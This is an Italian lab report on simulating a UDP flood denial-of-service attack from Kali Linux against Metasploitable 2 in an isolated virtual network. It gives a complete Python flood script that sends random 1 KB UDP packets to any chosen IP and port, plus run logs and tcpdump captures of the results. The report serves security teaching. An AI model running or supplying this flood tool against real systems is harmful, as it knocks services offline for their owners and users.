LAB: Attacchi DoS - Simulazione di un UDP Flood

Relazione Tecnica: Simulazione di un Attacco DoS (UDP Flood)

1. Introduzione

L'obiettivo di questa esercitazione è comprendere il funzionamento degli attacchi di tipo **Denial of Service (DoS)**, specificamente la tecnica del **UDP Flood**. Questa tipologia di attacco mira a saturare le risorse di rete e computazionali di un bersaglio inviando massivamente pacchetti UDP verso una porta specifica.

2. Architettura del Laboratorio

Per l'esecuzione del test è stato configurato un ambiente virtualizzato isolato per garantire la sicurezza del network fisico.

- **Macchina Attaccante:** Kali Linux (IP: `192.168.50.100`)
- **Macchina Target:** Metasploitable 2 (IP: `192.168.50.101`)

```
msfadmin@metasploitable:~$ ifconfig
eth0      Link encap:Ethernet  HWaddr 08:00:27:18:50:9e
          inet addr:192.168.50.101  Bcast:192.168.50.255  Mask:255.255.255.0
          inet6 addr: fe80::a00:27ff:fe18:509e/64 Scope:Link
          UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1
          RX packets:2664 errors:0 dropped:0 overruns:0 frame:0
          TX packets:134 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:1000
          RX bytes:2182648 (2.0 MB)  TX bytes:15198 (14.8 KB)
          Base address:0xd020 Memory:f0200000-f0220000

lo        Link encap:Local Loopback
          inet addr:127.0.0.1  Mask:255.0.0.0
          inet6 addr: ::1/128 Scope:Host
          UP LOOPBACK RUNNING  MTU:16436  Metric:1
          RX packets:232 errors:0 dropped:0 overruns:0 frame:0
          TX packets:232 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:0
          RX bytes:77783 (75.9 KB)  TX bytes:77783 (75.9 KB)

msfadmin@metasploitable:~$
```

---

3. Sviluppo del Software di Attacco

È stato sviluppato un programma in **Python** utilizzando la libreria `socket`. Il codice è stato progettato per soddisfare i seguenti requisiti:

- **Protocollo:** UDP (SOCK_DGRAM), scelto per la sua natura *connectionless* che permette un invio rapido senza attesa di handshake.
- **Payload:** Generazione di pacchetti da 1024 byte utilizzando la funzione `random.randbytes(1024)` per simulare traffico dati casuale.
- **Parametrizzazione:** Il software richiede in input l'IP del target, la porta UDP e il numero totale di pacchetti da inviare.

```python
simulador_flood.py > ...
import socket
import random
import sys

# Configuración del paquete de 1 KB (1024 bytes)
SIZE = 1024

def iniciar_ataque():
    print("--- Simulador de UDP Flood ---")

    # Pedir datos al usuario
    ip_target = input("IP de la víctima: ")
    puerto_target = int(input("Puerto de la víctima (ej. 80 o 4444): "))
    cantidad = int(input("¿Cuántos paquetes de 1KB enviar?: "))

    # Crear el socket (AF_INET para IPv4, SOCK_DGRAM para UDP)
    sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)

    # Generar los bytes aleatorios (1 KB)
    paquete = random.randbytes(SIZE)

    print(f"\nEnviando {cantidad} paquetes a {ip_target}:{puerto_target}...")

    try:
        for i in range(cantidad):
            sock.sendto(paquete, (ip_target, puerto_target))
            # Opcional: imprimir progreso cada 100 paquetes
            if (i + 1) % 100 == 0:
                print(f"Progreso: {i + 1} paquetes enviados.")

        print("\n¡Simulación finalizada con éxito!")
    except Exception as e:
        print(f"Hubo un error: {e}")
    finally:
        sock.close()

if __name__ == "__main__":
    iniciar_ataque()
```

4. Esecuzione e Monitoraggio

La simulazione è stata eseguita seguendo questi passaggi:

1. **Monitoraggio sul Target:** È stato avviato il tool `tcpdump` sulla macchina Metasploitable per analizzare il traffico in entrata sulla porta 4444 con il comando:

   `sudo tcpdump -i any udp port 4444 -X`

```
msfadmin@metasploitable:~$ sudo tcpdump -i any udp port 4444 -X
tcpdump: WARNING: Promiscuous mode not supported on the "any" device
tcpdump: verbose output suppressed, use -v or -vv for full protocol decode
listening on any, link-type LINUX_SLL (Linux cooked), capture size 96 bytes
_
```

2. **Lancio dell'Attacco:** Dalla macchina Kali è stato eseguito il file Python, impostando l'invio di **1000 pacchetti**.

```
┌──(kali㉿kali)-[~/proyecto_udp]
└─$ python3 simulador_flood.py
── Simulador de UDP Flood ──
IP de la víctima: 192.168.50.101
Puerto de la víctima (ej. 80 o 4444): 4444
¿Cuántos paquetes de 1KB enviar?: 1000

Enviando 1000 paquetes a 192.168.50.101:4444 ...
Progreso: 100 paquetes enviados.
Progreso: 200 paquetes enviados.
Progreso: 300 paquetes enviados.
Progreso: 400 paquetes enviados.
Progreso: 500 paquetes enviados.
Progreso: 600 paquetes enviados.
Progreso: 700 paquetes enviados.
Progreso: 800 paquetes enviados.
Progreso: 900 paquetes enviados.
Progreso: 1000 paquetes enviados.

¡Simulación finalizada con éxito!

┌──(kali㉿kali)-[~/proyecto_udp]
└─$
```

```
18:18:42.891537 IP 192.168.50.100.39263 > 192.168.50.101.4444: UDP, length 1024
18:18:42.891571 IP 192.168.50.100.39263 > 192.168.50.101.4444: UDP, length 1024
18:18:42.891582 IP 192.168.50.100.39263 > 192.168.50.101.4444: UDP, length 1024
18:18:42.891582 IP 192.168.50.100.39263 > 192.168.50.101.4444: UDP, length 1024
18:18:42.891582 IP 192.168.50.100.39263 > 192.168.50.101.4444: UDP, length 1024
18:18:42.891582 IP 192.168.50.100.39263 > 192.168.50.101.4444: UDP, length 1024
18:18:42.891582 IP 192.168.50.100.39263 > 192.168.50.101.4444: UDP, length 1024
18:18:42.891582 IP 192.168.50.100.39263 > 192.168.50.101.4444: UDP, length 1024
18:18:42.891582 IP 192.168.50.100.39263 > 192.168.50.101.4444: UDP, length 1024
18:18:42.891582 IP 192.168.50.100.39263 > 192.168.50.101.4444: UDP, length 1024
18:18:42.891582 IP 192.168.50.100.39263 > 192.168.50.101.4444: UDP, length 1024
18:18:42.891582 IP 192.168.50.100.39263 > 192.168.50.101.4444: UDP, length 1024
18:18:42.891582 IP 192.168.50.100.39263 > 192.168.50.101.4444: UDP, length 1024
18:18:42.891582 IP 192.168.50.100.39263 > 192.168.50.101.4444: UDP, length 1024
18:18:42.891582 IP 192.168.50.100.39263 > 192.168.50.101.4444: UDP, length 1024
18:18:42.891722 IP 192.168.50.100.39263 > 192.168.50.101.4444: UDP, length 1024
18:18:42.892089 IP 192.168.50.100.39263 > 192.168.50.101.4444: UDP, length 1024
18:18:42.892199 IP 192.168.50.100.39263 > 192.168.50.101.4444: UDP, length 1024
18:18:42.892235 IP 192.168.50.100.39263 > 192.168.50.101.4444: UDP, length 1024
18:18:42.892270 IP 192.168.50.100.39263 > 192.168.50.101.4444: UDP, length 1024
18:18:42.892323 IP 192.168.50.100.39263 > 192.168.50.101.4444: UDP, length 1024
18:18:42.892401 IP 192.168.50.100.39263 > 192.168.50.101.4444: UDP, length 1024
18:18:42.932165 IP 192.168.50.100.39263 > 192.168.50.101.4444: UDP, length 1024
```

5. Analisi dei Risultati

Durante l'attacco, la console di `tcpdump` ha mostrato un flusso costante di dati grezzi in formato esadecimale e ASCII, confermando la ricezione dei pacchetti da 1 KB.

```
18:24:20.601958 IP 192.168.50.100.56347 > 192.168.50.101.4444: UDP, length 1024
        0x0000:  4500 041c 0be6 4000 4011 44d1 c0a8 3264  E.....@.@.D...2d
        0x0010:  c0a8 3265 dc1b 115c 0408 9967 b996 06a8  ..2e...\...g....
        0x0020:  5d0b 79f1 c35a 56c3 ca46 28c0 1f19 8030  ].y..ZV..F(....0
        0x0030:  cb82 9711 9eee 86d4 f948 caaf 7a86 25b6  .........H..z.%.
        0x0040:  4114 d515 41d3 8e36 c56f defb 3cf1 bbd8  A...A..6.o..<...
18:24:20.602002 IP 192.168.50.100.56347 > 192.168.50.101.4444: UDP, length 1024
        0x0000:  4500 041c 0be7 4000 4011 44d0 c0a8 3264  E.....@.@.D...2d
        0x0010:  c0a8 3265 dc1b 115c 0408 9967 b996 06a8  ..2e...\...g....
        0x0020:  5d0b 79f1 c35a 56c3 ca46 28c0 1f19 8030  ].y..ZV..F(....0
        0x0030:  cb82 9711 9eee 86d4 f948 caaf 7a86 25b6  .........H..z.%.
        0x0040:  4114 d515 41d3 8e36 c56f defb 3cf1 bbd8  A...A..6.o..<...
18:24:20.602047 IP 192.168.50.100.56347 > 192.168.50.101.4444: UDP, length 1024
        0x0000:  4500 041c 0be8 4000 4011 44cf c0a8 3264  E.....@.@.D...2d
        0x0010:  c0a8 3265 dc1b 115c 0408 9967 b996 06a8  ..2e...\...g....
        0x0020:  5d0b 79f1 c35a 56c3 ca46 28c0 1f19 8030  ].y..ZV..F(....0
        0x0030:  cb82 9711 9eee 86d4 f948 caaf 7a86 25b6  .........H..z.%.
        0x0040:  4114 d515 41d3 8e36 c56f defb 3cf1 bbd8  A...A..6.o..<...
18:24:20.602091 IP 192.168.50.100.56347 > 192.168.50.101.4444: UDP, length 1024
        0x0000:  4500 041c 0be9 4000 4011 44ce c0a8 3264  E.....@.@.D...2d
        0x0010:  c0a8 3265 dc1b 115c 0408 9967 b996 06a8  ..2e...\...g....
        0x0020:  5d0b 79f1 c35a 56c3 ca46 28c0 1f19 8030  ].y..ZV..F(....0
        0x0030:  cb82 9711 9eee 86d4 f948 caaf 7a86 25b6  .........H..z.%.
        0x0040:  4114 d515 41d3 8e36 c56f defb 3cf1 bbd8  A...A..6.o..<...
_
```

Al termine della simulazione, l'analisi delle statistiche del kernel ha rivelato quanto segue:

- **Pacchetti ricevuti dal filtro:** 1000
- **Pacchetti scartati (Dropped by kernel):** 940 (94%)
- **Pacchetti catturati:** 60

L'alto numero di pacchetti "dropped" indica che il buffer di rete della macchina target è stato saturato quasi istantaneamente, costringendo il sistema operativo a scartare il traffico in eccesso per mancanza di risorse.

```
18:24:20.602091 IP 192.168.50.100.5
        0x0000:  4500 041c 0be9 400
        0x0010:  c0a8 3265 dc1b 115
        0x0020:  5d0b 79f1 c35a 56c
        0x0030:  cb82 9711 9eee 86d
        0x0040:  4114 d515 41d3 8e3

60 packets captured
1000 packets received by filter
940 packets dropped by kernel
msfadmin@metasploitable:~$
```

Concetto	Risultato

Protocollo	**UDP** (Connectionless, ideale per attacchi di saturazione).
Sorgente (Attaccante)	Kali Linux (`192.168.50.100`).
Destinazione (Target)	Metasploitable 2 (`192.168.50.101`).
Payload	**1024 byte** di dati casuali per pacchetto.
Impatto Tecnico	**Saturazione dello stack di rete** (confermato dai pacchetti *dropped*).

6. Conclusione

L'esercitazione ha dimostrato con successo l'efficacia di un attacco UDP Flood. Nonostante la semplicità del codice, l'invio massiccio di dati ha causato una saturazione delle risorse nel target (DoS), confermando che senza adeguate contromisure (come firewall o rate limiting), un servizio può essere reso indisponibile con estrema facilità.